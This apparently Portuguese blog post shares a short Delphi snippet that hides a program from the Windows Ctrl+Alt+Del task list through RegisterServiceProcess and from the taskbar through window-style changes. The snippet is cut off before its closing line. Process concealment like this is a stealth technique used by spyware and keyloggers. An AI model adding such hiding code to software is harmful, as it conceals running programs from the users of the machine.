//Evento oncreate do form
procedure TForm1.FormCreate(Sender: TObject);
type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
var
Handle: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
//*** Nao aparece no Ctr+Alt+Del ***********************************************
Handle := LoadLibrary('KERNEL32.DLL');
RegisterServiceProcess := GetProcAddress(Handle, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
FreeLibrary(Handle);
//*** Nao aparece na barra de tarefas***********************************************
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
Assinar:
Postar comentários (Atom)
Nenhum comentário:
Postar um comentário